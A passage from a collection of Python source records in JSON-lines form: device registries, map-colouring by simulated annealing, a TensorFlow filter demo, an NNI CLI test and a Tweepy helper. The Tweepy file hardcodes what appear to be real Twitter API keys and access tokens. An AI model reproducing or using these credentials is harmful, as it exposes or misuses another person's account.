\nxe_err = np.array([5,3,3,0.3,0.5*10**-1,0.4*10**-1,0.3,\n 1.2*10**-1,0.7*10**-1])\n\n## xenon100 dictionary\nxe_100_const = {'exposure - xe_t': xe_t}\nxe_100_const_arrays = {'energy - xe_En': xe_En, 'efficiency - xe_Gi': xe_Gi, 'observed events - xe_nobs': xe_nobs, 'background events - xe_nback': xe_nback, 'error - xe_err': xe_err}","sub_path":"pyfiles/proj_constants.py","file_name":"proj_constants.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"116343672","text":"from id_counter import IdCounter\nfrom devices.val_changers import BluetoothValReader, UrlValChanger\nfrom devices.float_convertors import BasicConvertor, BooleanToFloatConvertor\nfrom devices.board import Board, DEV_NAME_MOTION, DEV_NAME_UV, DEV_NAME_HUMIDITY,\\\n DEV_NAME_TEMP, DEV_NAME_PRESSURE, DEV_NAME_BOARD_VALS\nfrom device import Device\n\ndevices = []\nid_counter = IdCounter()\n\nDEV_NAME_FAN_ON = \"fan_on\"\nFAN_API_ID = 2\n\nDEV_NAME_LIGHT_ON = \"light_on\"\nDEV_NAME_LIGHT_BRIGHTNESS = \"light_brightness\"\nDEV_NAME_LIGHT_HUE = \"light_hue\"\nDEV_NAME_LIGHT_SAT = \"light_sat\"\nDEV_NAME_LIGHT_CT = \"light_ct\"\nLIGHT_API_ID = 1\n\nBOARD_UPDATE_TIME = 0.1\n\n_board = Board(BOARD_UPDATE_TIME)\n\n\ndef put(device):\n device._id = id_counter.get_counter()\n devices.append(device)\n\n\ndef find_by_id(device_id):\n if device_id > len(devices):\n print (\"device_id={} > len(devices)={}, no device found\".format(\n device_id, len(devices)))\n return None\n return devices[device_id]\n\n\ndef find_by_category(category):\n return list(filter(lambda device: device.category == category, devices))\n\n\ndef load_all_devices():\n # all http controlled devices\n put(Device(DEV_NAME_FAN_ON, UrlValChanger(\"lights\", FAN_API_ID,\n BooleanToFloatConvertor(0, 1), \"on\"), False))\n put(Device(DEV_NAME_LIGHT_ON, UrlValChanger(\"lights\", LIGHT_API_ID,\n BooleanToFloatConvertor(0, 1), \"on\"), False))\n put(Device(DEV_NAME_LIGHT_BRIGHTNESS, UrlValChanger(\"lights\", LIGHT_API_ID,\n BasicConvertor(0, 255), \"bri\"), False))\n put(Device(DEV_NAME_LIGHT_HUE, UrlValChanger(\"lights\", LIGHT_API_ID,\n BasicConvertor(0, 255), \"hue\"), False))\n put(Device(DEV_NAME_LIGHT_SAT, UrlValChanger(\"lights\", LIGHT_API_ID,\n BasicConvertor(0, 255), \"sat\"), False))\n put(Device(DEV_NAME_LIGHT_CT, UrlValChanger(\"lights\", LIGHT_API_ID,\n BasicConvertor(0, 500), \"ct\"), False))\n # all sensors\n for val in DEV_NAME_BOARD_VALS:\n put(Device(val, BluetoothValReader(_board, val), True))\n\n\ndef cleanup():\n _board.cleanup()\n\n","sub_path":"device_lib.py","file_name":"device_lib.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"597953276","text":"import numpy as np\nimport networkx as nx\nimport math\n\n\nIRAN_PROVINCES = [\"Alborz\", \"Ardabil\", \"East Azerbaijan\", \"West Azerbaijan\", \"Bushehr\", \"Chaharmahal and Bakhtiari\",\n \"Fars\", \"Gilan\", \"Golestan\", \"Hamedan\", \"Hormozgan\", \"Ilam\", \"Isfahan\",\n \"Kerman\", \"Kermanshah\", \"North Khorasan\", \"Razavi Khorasan\", \"South Khorasan\", \"Khuzestan\",\n \"Kohgiluyeh and Boyer-Ahmad\", \"Kurdistan\", \"Lorestan\", \"Markazi\", \"Mazandaran\",\n \"Qazvin\", \"Qom\", \"Semnan\", \"Sistan and Baluchestan\", \"Tehran\", \"Yazd\", \"Zanjan\"]\n\nIRAN_MAP = {\n \"West Azerbaijan\": [\"East Azerbaijan\", \"Zanjan\", \"Kurdistan\"],\n \"East Azerbaijan\": [\"West Azerbaijan\", \"Ardabil\", \"Zanjan\"],\n \"Ardabil\": [\"East Azerbaijan\", \"Zanjan\", \"Gilan\"],\n \"Gilan\": [\"Ardabil\", \"Zanjan\", \"Qazvin\", \"Mazandaran\"],\n \"Mazandaran\": [\"Gilan\", \"Qazvin\", \"Alborz\", \"Tehran\", \"Semnan\", \"Golestan\"],\n \"Golestan\": [\"Mazandaran\", \"Semnan\", \"North Khorasan\"],\n \"North Khorasan\": [\"Golestan\", \"Semnan\", \"Razavi Khorasan\"],\n \"Razavi Khorasan\": [\"North Khorasan\", \"Semnan\", \"South Khorasan\"],\n \"Semnan\": [\"Razavi Khorasan\", \"North Khorasan\", \"Golestan\", \"Mazandaran\", \"Tehran\", \"Qom\", \"Isfahan\", \"South Khorasan\"],\n \"Tehran\": [\"Alborz\", \"Mazandaran\", \"Semnan\", \"Qom\", \"Markazi\"],\n \"Alborz\": [\"Qazvin\", \"Mazandaran\", \"Tehran\", \"Qom\", \"Markazi\"],\n \"Qazvin\": [\"Gilan\", \"Mazandaran\", \"Alborz\", \"Markazi\", \"Hamedan\", \"Zanjan\"],\n \"Zanjan\": [\"Kurdistan\", \"West Azerbaijan\", \"East Azerbaijan\", \"Ardabil\", \"Gilan\", \"Qazvin\", \"Hamedan\"],\n \"Kurdistan\": [\"West Azerbaijan\", \"Zanjan\", \"Hamedan\", \"Kermanshah\"],\n \"Kermanshah\": [\"Kurdistan\", \"Hamedan\", \"Lorestan\", \"Ilam\"],\n \"Hamedan\": [\"Kermanshah\", \"Kurdistan\", \"Zanjan\", \"Qazvin\", \"Markazi\", \"Lorestan\", \"Kermanshah\"],\n \"Markazi\": [\"Hamedan\", \"Qazvin\", \"Alborz\", \"Tehran\", \"Qom\", \"Isfahan\", \"Lorestan\"],\n \"Qom\": [\"Markazi\", \"Tehran\", \"Semnan\", \"Isfahan\"],\n \"Isfahan\": [\"Qom\", \"Semnan\", \"South Khorasan\", \"Yazd\", \"Fars\", \"Kohgiluyeh and Boyer-Ahmad\", \"Chaharmahal and Bakhtiari\", \"Lorestan\", \"Markazi\"],\n \"South Khorasan\": [\"Razavi Khorasan\", \"Semnan\", \"Isfahan\", \"Yazd\", \"Kerman\", \"Sistan and Baluchestan\"],\n \"Yazd\": [\"Isfahan\", \"South Khorasan\", \"Kerman\", \"Fars\"],\n \"Fars\": [\"Yazd\", \"Isfahan\", \"Kohgiluyeh and Boyer-Ahmad\", \"Bushehr\", \"Hormozgan\", \"Kerman\"],\n \"Kohgiluyeh and Boyer-Ahmad\": [\"Fars\", \"Isfahan\", \"Chaharmahal and Bakhtiari\", \"Khuzestan\", \"Bushehr\"],\n \"Chaharmahal and Bakhtiari\": [\"Isfahan\", \"Kohgiluyeh and Boyer-Ahmad\", \"Khuzestan\", \"Lorestan\"],\n \"Khuzestan\": [\"Bushehr\", \"Kohgiluyeh and Boyer-Ahmad\", \"Chaharmahal and Bakhtiari\", \"Lorestan\", \"Ilam\"],\n \"Ilam\": [\"Khuzestan\", \"Lorestan\", \"Kermanshah\"],\n \"Lorestan\": [\"Ilam\", \"Kermanshah\", \"Hamedan\", \"Markazi\", \"Isfahan\", \"Chaharmahal and Bakhtiari\", \"Khuzestan\"],\n \"Bushehr\": [\"Khuzestan\", \"Kohgiluyeh and Boyer-Ahmad\", \"Fars\", \"Hormozgan\"],\n \"Hormozgan\": [\"Bushehr\", \"Fars\", \"Kerman\", \"Sistan and Baluchestan\"],\n \"Kerman\": [\"Fars\", \"Yazd\", \"South Khorasan\", \"Sistan and Baluchestan\", \"Hormozgan\"],\n \"Sistan and Baluchestan\": [\"Hormozgan\", \"Kerman\", \"South Khorasan\"]\n}\n\nn = len(IRAN_MAP)\n# K = 1.38e-23\n\nG = nx.Graph()\nG.add_nodes_from(IRAN_PROVINCES)\nfor edgs in IRAN_MAP.items():\n u = edgs[0]\n for v in edgs[1]:\n G.add_edge(u, v)\n\nmatrix = nx.to_numpy_array(G, IRAN_MAP, np.int, weight=None)\nm = np.sum(matrix)/2\n\n\ndef delta(mat, c, i, j):\n if mat[i, j] == 1 and c[i] != c[j]:\n return 1\n return 0\n\n\nclass Sample:\n def __init__(self, min_=0, max_=4, length=n):\n self.col = np.random.randint(min_, max_, length)\n self.score = 0\n\n def evaluate(self, m_, n_, matrix_):\n for i in range(n_):\n for j in range(i + 1, n_):\n self.score += delta(matrix_, self.col, i, j)\n self.score /= m_\n\n def __str__(self):\n return str(self.col)\n\n def next(self, t, m_, n_, mat_):\n\n f1 = self.score\n col_old = self.col\n\n # pivot = np.random.randint(n_)\n #\n # # change the color of a city randomly\n # can = [0, 1, 2, 3]\n # can.remove(self.col[pivot])\n #\n # self.col[pivot] = np.random.choice(can, 1)\n self.col = np.random.randint(0, 4, n)\n self.evaluate(m_, n_, mat_)\n f2 = self.score\n\n if f2 > f1:\n pass\n else:\n try:\n # p = math.exp((f2-f1)/(K*t))\n p = math.exp((f2-f1)/t)\n if np.random.choice([0, 1], 1, p=[p, 1-p]):\n self.col = col_old\n except ValueError:\n self.col = col_old\n return self\n\n\ndef temp(t0, alpha_, k_, mode):\n if mode == 1:\n return t0*alpha_**k_\n elif mode == 2:\n return t0/(1+alpha_*math.log(1+k_))\n elif mode == 3:\n return t0/(1+alpha_*k_)\n elif mode == 4:\n return t0/(1+alpha_*k_**2)\n else:\n return t0\n\n\nif __name__ == \"__main__\": \n EPOCHS = 5000\n sample = Sample()\n t0 = 1500\n for i in range(EPOCHS):\n t = temp(t0, 0.85, i, 1)\n sample.evaluate(m, n, matrix)\n # if i % 1000 == 0:\n print(sample.score)\n\n sample = sample.next(t, m, n, matrix)\n\n # sample = Sample()\n # t0 = 1\n # for i in range(EPOCHS):\n # t = temp(t0, 1000, i, 2)\n # sample.evaluate(m, n, matrix)\n # # if i % 1000 == 0:\n # print(sample.score)\n #\n # sample = sample.next(t, m, n, matrix)\n\n # sample = Sample()\n # t0 = 10\n # for i in range(EPOCHS):\n # t = temp(t0, 1000, i, 3)\n # sample.evaluate(m, n, matrix)\n # # if i % 1000 == 0:\n # print(sample.score)\n #\n # sample = sample.next(t, m, n, matrix)\n\n # sample = Sample()\n # t0 = 2\n # for i in range(EPOCHS):\n # t = temp(t0, 10, i, 4)\n # sample.evaluate(m, n, matrix)\n # # if i % 1000 == 0:\n # print(sample.score)\n #\n # sample = sample.next(t, m, n, matrix)\n #\n","sub_path":"1/p2b.py","file_name":"p2b.py","file_ext":"py","file_size_in_byte":6018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"406849607","text":"# var_dick 变量字典 , data 被处理的数据, target_key 要找的目标key, new_key 赋值的新key, true_key 真实key,用来判断和目标key是否相等\ndef deal_default(var_dick, data, target_key=None, new_key=None, true_key=None):\n if type(data) == list:\n for i in data:\n deal_default(var_dick, i, target_key, new_key)\n if type(data) == dict:\n for key, value in data.items():\n if type(value) == bool or type(value) == int or type(value) == str:\n deal_default(var_dick, value, target_key, new_key, key)\n if type(value) == dict:\n deal_default(var_dick, value, target_key, new_key)\n if type(value) == list:\n for i in value:\n deal_default(var_dick, i, target_key, new_key)\n if type(data) == str:\n if target_key:\n if target_key == true_key:\n if new_key:\n var_dick[new_key] = data\n else:\n var_dick[true_key] = data\n else:\n var_dick[true_key] = data\n if type(data) == int:\n if target_key:\n if target_key == true_key:\n if new_key:\n var_dick[new_key] = data\n else:\n var_dick[true_key] = data\n else:\n var_dick[true_key] = data\n if type(data) is None:\n if target_key:\n if target_key == true_key:\n if new_key:\n var_dick[new_key] = data\n else:\n var_dick[true_key] = data\n else:\n var_dick[true_key] = data\n if type(data) == bool:\n if target_key:\n if target_key == true_key:\n if new_key:\n var_dick[new_key] = data\n else:\n var_dick[true_key] = data\n else:\n var_dick[true_key] = data\n\n return var_dick\n\n\n# 获取目标value\ndef get_target_value(data, target_key):\n target_value = None\n if type(data) == list:\n for i in data:\n get_target_value(i, target_key)\n if type(data) == dict:\n for key, value in data.items():\n if key == target_key:\n if type(value) == str:\n target_value = value\n if type(value) == int:\n target_value = str(value)\n if type(value) == bool:\n target_value = str(value).lower()\n if type(value) is None:\n target_value = 'null'\n if type(value) == list:\n get_target_value(value, target_key)\n if type(value) == dict:\n get_target_value(value, target_key)\n\n return target_value\n","sub_path":"easy-test-flask/app/libs/deal.py","file_name":"deal.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"8369074","text":"'''\r\n@author: Quyen Doan, https://github.com/qdoan1651/DevMathPython\r\n@file: mtmf/content_deployment/check_deployment_log_files.py\r\n@desc: Parse algo exercises for list of items with image (tag clue:image) \r\n'''\r\nimport os\r\nfrom myutils import utils_files_io\r\n\r\ndef parse_log_file(infile, outfile):\r\n ''' Parse log file to get list of i) added items, ii) updated items, iii) skipped items '''\r\n logfile_json = utils_files_io.read_json_from_file(os.path.join(dirname, infile))\r\n \r\n status = {'added_items': [], 'updated_items': [], 'skipped_items': [], 'count': {}}\r\n\r\n print('Checking for added items...') \r\n added_items = logfile_json['actionGroup']['executables'][0]['filesAddedList']\r\n added_files_list = [item.split(r' | ')[0] for item in added_items if 'cars' in item]\r\n [status['added_items'].append(item) for item in added_files_list]\r\n \r\n print('Checking for updated items...')\r\n updated_items = logfile_json['actionGroup']['executables'][0]['filesUpdatedList']\r\n updated_files_list = [item.split(r' | ')[0] for item in updated_items if 'cars' in item]\r\n [status['updated_items'].append(item) for item in updated_files_list]\r\n \r\n print('Checking for skipped items...')\r\n skipped_items = logfile_json['actionGroup']['executables'][0]['filesSkippedList']\r\n skipped_files_list = [item.split(r' | ')[0] for item in skipped_items if 'cars' in item]\r\n [status['skipped_items'].append(item) for item in skipped_files_list]\r\n \r\n for cat in ['added_items', 'updated_items', 'skipped_items']:\r\n status['count'][cat] = len(status[cat])\r\n \r\n print('Writing result to disk...')\r\n utils_files_io.write_json_to_file(status, outfile)\r\n\r\nif __name__ == '__main__': \r\n dirname = 'C:/Workspace/DevMath/Content Deployment/CD16 (DSM-5988) - Stage (Apr 16) - Prod (Apr 25)/Logs'\r\n \r\n # Parse log file for step 1 (Copy AlgoEx items from AT (prod) to AT (stage) workspace '''\r\n parse_log_file('1. Copy_Algoex_items.json', 'data/log_status_step1.txt')\r\n \r\n # Parse log file for step 2 (Copy MQ items from AT (prod) to AT (stage) workspace '''\r\n parse_log_file('1. Copy_MQ_items.json', 'data/log_status_step2.txt')\r\n \r\n ","sub_path":"DevMathPython/content_deployment/others/check_deployment_log_files.py","file_name":"check_deployment_log_files.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"211983135","text":"import sys\nimport os\nimport json\n\n\nif len(sys.argv) < 4:\n print(\"Embeds info and schedule into the conference info.json\")\n print(\"\\n\\tUsage: embedinfo.py info.json info.md schedule.json maps.json\")\n print()\n sys.exit(1)\n\ninfojson, infomd, schedjson, mapjson = sys.argv[1:]\n\nprint(\"Embeding\\n\\t{}\\n\\t{}\\n\\t{}\\ninto\\n\\t{}\\n\".format(\n infomd, schedjson, mapjson, infojson\n))\n\nwith open(infomd) as fp:\n infopage = \"\".join(fp.readlines())\n\nwith open(schedjson) as fp:\n sched = \"\".join(fp.readlines())\n sched = sched.replace('\"', '\\\"')\n\nwith open(mapjson) as fp:\n maps = \"\".join(fp.readlines())\n maps = maps.replace('\"', '\\\"')\n\nwith open(infojson) as fp:\n confinfo = json.load(fp)\n\nconfinfo[\"info\"] = infopage\nconfinfo[\"schedule\"] = sched\nconfinfo[\"geo\"] = maps\n\n\ninfofname, infoext = os.path.splitext(infojson)\noutfname = \"{}-{}{}\".format(infofname, \"full\", infoext)\nprint(\"Saving to {}\".format(outfname))\nwith open(outfname, \"w\") as wfp:\n json.dump(confinfo, wfp, indent=4)\n","sub_path":"Tools/embedinfo.py","file_name":"embedinfo.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"402304282","text":"import datetime\n\nfrom time_interval import TimeInterval\n\n\nclass AbstractDay(object):\n\n def __init__(self, day_of_week, opening_intervals):\n \"\"\"\n ** Parameters **\n day_of_week (integer)\n The day of week\n opening_intervals (list)\n The opening intervals\n \"\"\"\n self.set_day_of_week(day_of_week)\n self.set_opening_intervals(opening_intervals)\n\n def get_day_of_week(self):\n return self.day_of_week\n\n def timedelta(self, start_time, end_time):\n time = datetime.timedelta()\n st_int = start_time.toInteger()\n en_int = end_time.toInteger()\n for opening_interval in self.opening_intervals:\n i_start = opening_interval.getStart().toInteger()\n i_end = opening_interval.getEnd().toInteger()\n\n # both values in the same interval\n # |---*---*---|\n # \\+++/\n if st_int >= i_start and st_int <= i_end and \\\n en_int >= i_start and en_int <= i_end:\n time = datetime.timedelta(minutes=en_int - st_int)\n break\n\n # start_time in the interval, not end_time\n # |---*---| #########\n # \\+++|\n elif st_int >= i_start and st_int <= i_end:\n time += datetime.timedelta(minutes=i_end - st_int)\n\n # end_time in the interval, not start_time\n # ######### |---*---|\n # |+++/\n elif en_int >= i_start and en_int <= i_end:\n time += datetime.timedelta(minutes=en_int - i_start)\n\n # entire interval between start_time and end_time\n # |---*---| |------| |---*---|\n # \\+++| |++++++| |+++/\n elif st_int <= i_start and i_end <= en_int:\n time += datetime.timedelta(minutes=i_end - i_start)\n\n else:\n # Another cases:\n # 1) -> -*--|-------| <- start_time before first interval\n # 2) -> |-------|--*--|-------| <- start_time/end_time between intervals\n # 3) -> |-------|-*-*-|-------| <- start_time and end_time between intervals\n # 4) -> |-------|--*- <- end_time after intervals\n # 5) -> |-------|-*-*- <- start_time and end_time after intervals\n # 6) -> -*--|-----| |-----|--*- <- start_time before first interval and end_time after last interval\n #raise Exception('Unsolved case.')\n continue\n return time\n\n def get_closest_opening_time_before(self, time, context):\n for opening_interval in self.opening_intervals:\n if opening_interval.contains(time):\n return time\n closest_time = None\n for interval in reversed(self.opening_intervals):\n distance = time.toInteger() - interval.getEnd().toInteger()\n if distance < 0:\n continue\n if closest_time is None:\n closest_time = interval.getEnd()\n if distance < time.toInteger() - closest_time.toInteger():\n closest_time = interval.getEnd()\n return closest_time\n\n def get_closest_opening_time_after(self, time, context):\n for opening_interval in self.opening_intervals:\n if opening_interval.contains(time):\n return time\n closest_time = None\n for interval in self.opening_intervals:\n distance = interval.getStart().toInteger() - time.toInteger()\n if distance < 0:\n continue\n if closest_time is None:\n closest_time = interval.getStart()\n if distance < closest_time.toInteger() - time.toInteger():\n closest_time = interval.getStart()\n return closest_time\n\n def is_time_within_opening_hours(self, time, context):\n for interval in self.opening_intervals:\n if interval.contains(time):\n return True\n return False\n\n def get_opening_time(self, context):\n return self.opening_intervals[0].getStart()\n\n def get_closing_time(self, context):\n return self.opening_intervals[-1].getEnd()\n\n def set_day_of_week(self, day_of_week):\n self.day_of_week = day_of_week\n\n def set_opening_intervals(self, opening_intervals):\n if not opening_intervals:\n raise ValueError('The day must have at least one opening interval.')\n self.opening_intervals = []\n for opening_interval in opening_intervals:\n if not isinstance(opening_interval, (list, tuple)):\n raise ValueError('Interval must be a list.')\n if len(opening_interval) != 2:\n raise ValueError('Each interval must be an array containing opening and closing times.')\n self.opening_intervals.append(TimeInterval.fromString(opening_interval[0], opening_interval[1]))\n sorted(self.opening_intervals, key=lambda interval: interval.getStart())\n","sub_path":"businesstime/abstract_day.py","file_name":"abstract_day.py","file_ext":"py","file_size_in_byte":5039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"275891687","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle as pickle\n\nwith open('ORENIST.data','rb') as file:\n images, labels = pickle.load(file, encoding=\"bytes\") # 책 대로 하면 오류가 뜬다.\n\n'''\nfig = plt.figure(figsize=(10,5))\n\nfor i in range(40):\n subplot = fig.add_subplot(4,10,i+1)\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.set_title('%d' % np.argmax(labels[i]))\n subplot.imshow(images[i].reshape(28,28), vmin=0, vmax=1, cmap=plt.cm.gray_r, interpolation='nearest')\n'''\n\ndef edge_filter():\n filter0 = np.array( #세로 강조\n [[2,1,0,-1,-2],\n [3,2,0,-2,-3],\n [4,3,0,-3,-4],\n [3,2,0,-2,-3],\n [2,1,0,-1,-2]])/23.0\n filter1 = np.array( #가로 강조\n [[2,3,4,3,2],\n [1,2,3,2,1],\n [0,0,0,0,0],\n [-1,-2,-3,-2,-1],\n [-2,-3,-4,-3,-2]])/23.0\n\n filter_array = np.zeros([5,5,1,2])\n filter_array[:,:,0,0] = filter0\n filter_array[:,:,0,1] = filter1 #filter들을 1x2부분에 저장\n\n return tf.constant(filter_array, dtype = tf.float32)\n\nx = tf.placeholder(tf.float32, [None,784]) #28x28 = 784개의 픽셀로 된 이미지 데이터를 저장할 placeholder를 준비\nx_image = tf.reshape(x,[-1,28,28,1]) # 첫번째 -1은 placeholder에 저장되어 있는 데이터 개수에 따라 적절한 크기로 조정\n\nW_conv = edge_filter() # 입력했던 필터를 가져온다.\nh_conv = tf.abs(tf.nn.conv2d(x_image, W_conv, strides=[1,1,1,1], padding='SAME')) # x_image에 필터를 적용한다.\nh_conv_cutoff = tf.nn.relu(h_conv-0.2) #필터의 효과를 강조한다. 0.2 보다 작은 값은 0으로 만든다. #이미지수 x size(row,col) x output layer수\n\nh_pool = tf.nn.max_pool(h_conv_cutoff, ksize=[1,2,2,1], strides=[1,2,2,1],padding='SAME') #픽셀 내 최대값을 출력한다.\n#필터에서 출력된 28x28 픽셀 이미지를 2x2 픽셀 블록으로 분해해서 각각의 블록을 하나의 픽셀로 치환한다.\n#28x28 -> 14x14 크기의 이미지로 변환된다.\n#ksize 옵션으로 지정된 크기의 블록을 strides옵션으로 지정된 간격으로 이동시켜 가며, 블록 내에 있는 픽셀의 최대값으로 치환해간다.\n\nsess = tf.InteractiveSession()\nsess.run(tf.global_variables_initializer())\n\nfilter_vals, conv_vals = sess.run([W_conv,h_conv_cutoff], feed_dict={x:images[:9]}) #변수 images에 준비해 둔 이미지 데이터 중 첫 9개를 placeholder에 저장\n\nfig = plt.figure(figsize=(10,3))\n\nfor i in range(2): #filter 출력\n subplot = fig.add_subplot(3,10,10*(i+1)+1) #11, 21번째에 필터 출력\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(filter_vals[:,:,0,i], cmap=plt.cm.gray_r, interpolation='nearest')\n\nv_max = np.max(conv_vals)\n\nfor i in range(9):\n subplot = fig.add_subplot(3,10,i+2) # 원본이미지 출력\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.set_title('%d' % np.argmax(labels[i]))\n subplot.imshow(images[i].reshape((28,28)), vmin= 0, vmax= 1, cmap=plt.cm.gray_r, interpolation='nearest')\n\n subplot = fig.add_subplot(3, 10, 10+i+2)\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(conv_vals[i, :, :,0], vmin=0, vmax=1, cmap=plt.cm.gray_r, interpolation='nearest') #i번째 이미지와 첫번째 필터 곱의 데이터 출력\n\n subplot = fig.add_subplot(3,10, 20+i+2)\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(conv_vals[i,:,:,1], vmin=0, vmax=1, cmap=plt.cm.gray_r, interpolation='nearest') #i번째 이미지와 두번째 필터 곱의 데이터 출력\n\npool_vals = sess.run(h_pool, feed_dict={x:images[:9]}) #이미지의 개수 x 이미지 크기(세로x가로) x 출력 레이어 개수\n\nfig = plt.figure(figsize=(10,3))\n\nfor i in range(2): #filter 출력\n subplot = fig.add_subplot(3,10,10*(i+1)+1) #11, 21번째에 필터 출력\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(filter_vals[:,:,0,i], cmap=plt.cm.gray_r, interpolation='nearest')\n\nv_max = np.max(pool_vals)\n\nfor i in range(9):\n subplot = fig.add_subplot(3,10,i+2) # 원본이미지 출력\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.set_title('%d' % np.argmax(labels[i]))\n subplot.imshow(images[i].reshape((28,28)), vmin= 0, vmax= 1, cmap=plt.cm.gray_r, interpolation='nearest')\n\n subplot = fig.add_subplot(3, 10, 10+i+2)\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(pool_vals[i, :, :,0], vmin=0, vmax=1, cmap=plt.cm.gray_r, interpolation='nearest') #i번째 이미지와 첫번째 필터 곱의 데이터 출력\n\n subplot = fig.add_subplot(3,10, 20+i+2)\n subplot.set_xticks([])\n subplot.set_yticks([])\n subplot.imshow(pool_vals[i,:,:,1], vmin=0, vmax=1, cmap=plt.cm.gray_r, interpolation='nearest') #i번째 이미지와 두번째 필터 곱의 데이터 출력\n\nplt.show()","sub_path":"Chapter4/4.1_OFE.py","file_name":"4.1_OFE.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"367734405","text":"# Copyright (c) Microsoft Corporation\n# All rights reserved.\n#\n# MIT License\n#\n# Permission is hereby granted, free of charge,\n# to any person obtaining a copy of this software and associated\n# documentation files (the \"Software\"), to deal in the Software without restriction,\n# including without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and\n# to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING\n# BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nimport sys\nimport time\nimport traceback\nfrom utils import GREEN, RED, CLEAR, setup_experiment\n\ndef test_nni_cli():\n import nnicli as nc\n\n config_file = 'config_test/examples/mnist.test.yml'\n\n try:\n # Sleep here to make sure previous stopped exp has enough time to exit to avoid port conflict\n time.sleep(6)\n print(GREEN + 'Testing nnicli:' + config_file + CLEAR)\n nc.start_nni(config_file)\n time.sleep(3)\n nc.set_endpoint('http://localhost:8080')\n print(nc.version())\n print(nc.get_job_statistics())\n print(nc.get_experiment_status())\n nc.list_trial_jobs()\n\n print(GREEN + 'Test nnicli {}: TEST PASS'.format(config_file) + CLEAR)\n except Exception as error:\n print(RED + 'Test nnicli {}: TEST FAIL'.format(config_file) + CLEAR)\n print('%r' % error)\n traceback.print_exc()\n raise error\n finally:\n nc.stop_nni()\n\nif __name__ == '__main__':\n installed = (sys.argv[-1] != '--preinstall')\n setup_experiment(installed)\n\n test_nni_cli()\n","sub_path":"test/cli_test.py","file_name":"cli_test.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"264917453","text":"import tweepy\nimport time\nfrom dateutil.parser import parse\n\n\nclass TweepyHelper:\n # Twitter API credentials, removed due to privacy concerns, needs to be replaced when use. Note these keys can be applied via any twitter account\n\n consumer_key = \"4TROq0lwXWB5T7EWT5jVAf7Ii\"\n\n consumer_secret = \"1Qdvmoq4KiD51jlF0Gdg8NbpaqKj6GWxlu4FCCHwQd2kZaoNsd\"\n\n access_key = \"786201772096303108-pftfiLTyZ4vEs1QjrdGXKYHTtZzbEy2\"\n\n access_secret = \"67Lg1gvsxet7YOLmS96DqpRYLGYoXX3WbiYXUDWwBTvFF\"\n\n keywords_list = [\"acquisition\", \"articles\", \"asset sale\", \"auditor\", \"award\", \"blackout\", \"board\", \"certification\",\n \"conference call\", \"conferences\", \"credit agreement\", \"debt agreement\", \"debt restructure\",\n \"director interests\", \"dividends\", \"DRIPs\", \"drug trial\", \"earnings\", \"financial\", \"listing\",\n \"litigation\", \"merger\", \"management changes\", \"mineral updates\", \"option exercise\", \"own capital\",\n \"presentations\", \"private placements\", \"public offering\", \"ratings\", \"reorganization\",\n \"rights offering\", \"shareholder meeting\", \"shareholder resolution\", \"shareholder rights\", \"speech\",\n \"spin-off\", \"stock splits\", \"strategic alliance\", \"strike\", \"subsidiary dissolution\",\n \"sustainability\",\n \"tech report\", \"tender offer\"]\n\n sleep_time = 60\n\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_key, access_secret)\n api = tweepy.API(auth)\n\n def get_tweetInfo_byId(twitter_id):\n if (twitter_id is None or len(twitter_id) < 1):\n return \"\"\n auth = tweepy.OAuthHandler(TweepyHelper.consumer_key, TweepyHelper.consumer_secret)\n auth.set_access_token(TweepyHelper.access_key, TweepyHelper.access_secret)\n api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n try:\n twitter_info = api.get_status(twitter_id)\n return twitter_info.text\n except tweepy.error.TweepError as e:\n return \"\"\n except:\n return \"\"\n\n def get_tweet_user_info(screen_name, company_record=None):\n result = []\n try:\n user_screen_name = TweepyHelper.api.get_user(screen_name)\n\n if user_screen_name.protected == True:\n print(\"%s do not authorize to access his/her account\" % screen_name)\n result.append(\"do not authorize to access his/her account\")\n if company_record is not None:\n company_record.other_comment = \"do not authorize to access his/her account\"\n return result\n except tweepy.error.TweepError as e:\n if 